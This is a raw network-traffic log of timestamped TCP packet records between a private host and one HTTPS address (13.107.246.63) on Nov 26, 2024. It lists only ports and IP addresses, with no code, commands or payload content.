Nov 26, 2024 00:08:50.016316891 CET	49863	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.016328096 CET	443	49863	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.016868114 CET	49863	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.016875029 CET	443	49863	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.406614065 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.409663916 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.409723997 CET	49864	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.409857988 CET	49864	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.409874916 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.409905910 CET	49864	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.409912109 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.413851023 CET	49868	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.413889885 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.413957119 CET	49868	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.414130926 CET	49868	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.414149046 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.421616077 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.424819946 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.424859047 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.424868107 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.424954891 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.424954891 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.424969912 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.424978018 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.427793980 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.427822113 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.427942038 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.427987099 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.427993059 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.495887041 CET	443	49863	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.498826027 CET	443	49863	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.498898029 CET	49863	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.498898029 CET	49863	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.498964071 CET	49863	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.498975039 CET	443	49863	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.502284050 CET	49870	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.502317905 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.502378941 CET	49870	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.502557039 CET	49870	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:50.502574921 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:51.638171911 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:51.638762951 CET	49866	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:51.638787031 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:51.639360905 CET	49866	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:51.639365911 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:51.640603065 CET	443	49867	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:51.640980005 CET	49867	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:51.641006947 CET	443	49867	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:51.641689062 CET	49867	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:51.641695023 CET	443	49867	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.065418005 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.066014051 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.066025019 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.066555023 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.066559076 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.075675011 CET	443	49867	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.078835011 CET	443	49867	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.078927040 CET	49867	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.078927040 CET	49867	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.078963995 CET	49867	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.078974009 CET	443	49867	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.081969023 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.082007885 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.082026958 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.082305908 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.082429886 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.082439899 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.085325003 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.085449934 CET	49866	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.085488081 CET	49866	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.085488081 CET	49866	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.085508108 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.085519075 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.090540886 CET	49872	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.090557098 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.094677925 CET	49872	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.098546028 CET	49872	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.098558903 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.155400038 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.155740976 CET	49868	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.155771971 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.158550978 CET	49868	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.158556938 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.281728983 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.282056093 CET	49870	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.282068014 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.282545090 CET	49870	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.282550097 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.520754099 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.523983002 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.524020910 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.524028063 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.524039030 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.524080038 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.524118900 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.524127960 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.524137020 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.524141073 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.527298927 CET	49873	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.527338982 CET	443	49873	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.527395964 CET	49873	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.527566910 CET	49873	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.527580023 CET	443	49873	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.592308998 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.595329046 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.595395088 CET	49868	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.595438004 CET	49868	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.595455885 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.595473051 CET	49868	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.595480919 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.598382950 CET	49874	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.598411083 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.598473072 CET	49874	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.598643064 CET	49874	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.598654985 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.726795912 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.730026960 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.730073929 CET	49870	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.730187893 CET	49870	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.730200052 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.730212927 CET	49870	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.730218887 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.733546019 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.733581066 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:52.733638048 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.733831882 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:52.733850002 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:53.865974903 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:53.866456985 CET	49872	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:53.866472960 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:53.866902113 CET	49872	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:53.866905928 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:53.936434984 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:53.936778069 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:53.936790943 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:53.937216997 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:53.937222004 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.274539948 CET	443	49873	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.279426098 CET	49873	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.279426098 CET	49873	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.279438972 CET	443	49873	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.279453993 CET	443	49873	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.303268909 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.304657936 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.304775000 CET	49872	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.304923058 CET	49872	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.304924011 CET	49872	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.304934978 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.304946899 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.310491085 CET	49876	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.310514927 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.310633898 CET	49876	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.310760975 CET	49876	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.310771942 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.384277105 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.387461901 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.387496948 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.387516975 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.387593031 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.387654066 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.387654066 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.387661934 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.387670040 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.390546083 CET	49877	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.390590906 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.394634008 CET	49877	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.398547888 CET	49877	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.398566961 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.428771973 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.429208994 CET	49874	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.429222107 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.429670095 CET	49874	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.429676056 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.514151096 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.514552116 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.514566898 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.515321970 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.515327930 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.709769011 CET	443	49873	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.712862015 CET	443	49873	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.712913036 CET	49873	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.713072062 CET	49873	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.713095903 CET	443	49873	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.713112116 CET	49873	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.713116884 CET	443	49873	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.717812061 CET	49878	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.717833996 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.717905045 CET	49878	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.718126059 CET	49878	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.718132019 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.874691963 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.875263929 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.875339985 CET	49874	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.875416040 CET	49874	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.875425100 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.875463963 CET	49874	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.875468016 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.878330946 CET	49879	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.878372908 CET	443	49879	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.878443956 CET	49879	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.878644943 CET	49879	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.878662109 CET	443	49879	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.959083080 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.962265968 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.962310076 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.962328911 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.962379932 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.962435007 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.962447882 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.962456942 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.962460995 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.964766979 CET	49880	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.964797020 CET	443	49880	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:54.964884996 CET	49880	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.965147018 CET	49880	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:54.965158939 CET	443	49880	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.028203011 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.029154062 CET	49876	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.029154062 CET	49876	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.029166937 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.029180050 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.112340927 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.113265991 CET	49877	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.113265991 CET	49877	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.113287926 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.113306999 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.463409901 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.466469049 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.466530085 CET	49876	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.466568947 CET	49876	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.466577053 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.466588020 CET	49876	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.466593027 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.473071098 CET	49881	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.473166943 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.473225117 CET	49881	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.473480940 CET	49881	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.473522902 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.496857882 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.497392893 CET	49878	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.497406960 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.498079062 CET	49878	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.498084068 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.600575924 CET	443	49879	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.601056099 CET	49879	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.601073980 CET	443	49879	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.601609945 CET	49879	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.601614952 CET	443	49879	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.608635902 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.611737013 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.611788034 CET	49877	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.611835957 CET	49877	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.611850023 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.611887932 CET	49877	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.611895084 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.615535975 CET	49882	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.615566969 CET	443	49882	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.615624905 CET	49882	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.615886927 CET	49882	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.615900040 CET	443	49882	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.744935036 CET	443	49880	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.745301962 CET	49880	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.745315075 CET	443	49880	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.745701075 CET	49880	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.745706081 CET	443	49880	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.941099882 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.944169998 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.944217920 CET	49878	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.945478916 CET	49878	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.945487022 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.945497036 CET	49878	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.945501089 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.952584982 CET	49883	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.952625036 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:56.952685118 CET	49883	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.953541994 CET	49883	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:56.953557968 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:57.037441969 CET	443	49879	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:57.040388107 CET	443	49879	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:57.040435076 CET	49879	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:57.040458918 CET	443	49879	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:57.040508032 CET	443	49879	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:57.040553093 CET	49879	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:57.040652037 CET	49879	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:57.040669918 CET	443	49879	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:57.040680885 CET	49879	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:57.040688038 CET	443	49879	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:57.046051979 CET	49884	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:57.046087027 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:57.046139956 CET	49884	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:57.046447039 CET	49884	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:57.046457052 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:57.189222097 CET	443	49880	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:57.192331076 CET	443	49880	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:57.192419052 CET	49880	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:57.244898081 CET	49880	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:57.244899035 CET	49880	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:57.244911909 CET	443	49880	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:57.244920969 CET	443	49880	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:57.248735905 CET	49885	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:57.248769999 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:57.248847961 CET	49885	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:57.249222040 CET	49885	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:57.249233961 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.186579943 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.187848091 CET	49881	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.187848091 CET	49881	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.187923908 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.187938929 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.198221922 CET	443	49882	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.198659897 CET	49882	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.198678970 CET	443	49882	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.199084044 CET	49882	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.199089050 CET	443	49882	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.622419119 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.625610113 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.625664949 CET	49881	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.625735998 CET	49881	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.625735998 CET	49881	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.625782967 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.625808001 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.629103899 CET	49886	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.629121065 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.629182100 CET	49886	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.629379988 CET	49886	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.629390001 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.645122051 CET	443	49882	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.645697117 CET	443	49882	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.645746946 CET	49882	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.645780087 CET	49882	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.645788908 CET	443	49882	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.645801067 CET	49882	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.645804882 CET	443	49882	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.648794889 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.648818016 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.648880005 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.648992062 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.649000883 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.734327078 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.734687090 CET	49883	443	192.168.2.4	13.107.246.63
